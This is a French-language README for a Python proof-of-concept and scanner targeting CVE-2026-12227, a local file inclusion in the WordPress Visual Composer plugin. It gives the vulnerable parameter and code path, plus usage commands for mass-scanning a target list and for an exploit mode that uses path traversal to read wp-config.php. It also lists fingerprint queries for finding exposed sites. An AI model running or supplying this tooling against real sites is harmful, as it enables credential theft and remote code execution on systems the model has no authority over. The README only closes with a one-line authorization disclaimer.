
PoC et scanner en Python 3 pour CVE-2026-12227, une inclusion de fichier local non authentifiée dans WordPress Visual Composer Website Builder via le paramètre vcv-template.
PoC Python 3 pour CVE-2026-12227 (Wordfence) : Inclusion de fichier local via le paramètre de requête vcv-template dans Visual Composer Website Builder (visualcomposer sur wordpress.org).
| Plateforme | Extension WordPress |
| Composant | Visual Composer Website Builder |
| Affecté | ≤ 45.16.0 |
| Corrigé dans | > 45.16.0 (WP Trac 3619572) — utilisez la dernière version stable (par ex. 45.16.3+) |
| CVSS | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Non authentifié |
| CWE | CWE-98 |
| Pas | WPBakery (js_composer) ni SAP NetWeaver Visual Composer |
Sur les versions vulnérables, les chargements de pages publiques honorent le paramètre vcv-template contrôlé par l'attaquant (avec vcv-template-type) lors du traitement de template_include de WordPress au sein de PageTemplatesController. Cela peut inclure des fichiers choisis par l'attaquant sur le disque ; les fichiers PHP peuvent s'exécuter (RCE). Wordfence note des chaînes avec des extensions « sûres » téléversées dans certaines configurations.
?vcv-template-type=vc&vcv-template=blank ou des chemins LFI sous vcv-template.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| Fichier | Signification |
|---|---|
cve_2026_12227_results.jsonl | JSON complet par cible |
hits.txt | Noms d'hôtes candidats |
candidates.jsonl | Résumé du mode check (page_url, status, lfi) |
| Statut | Signification |
|---|---|
lfi_confirmed | La réponse correspond aux heuristiques wp-config / /etc/passwd / version.php |
vcv_template_controllable | vcv-template=blank modifie la mise en page par rapport à la référence (paramètre vulnérable honoré) |
plugin_vuln_no_surface | Ancienne version de l'extension mais aucune page VC ou paramètre ignoré |
no_vc_page | Extension présente, aucun marqueur VC sur les chemins explorés |
patched | Version > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate ; confirmez sur un clone de préproduction avant de supposer une RCE.À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.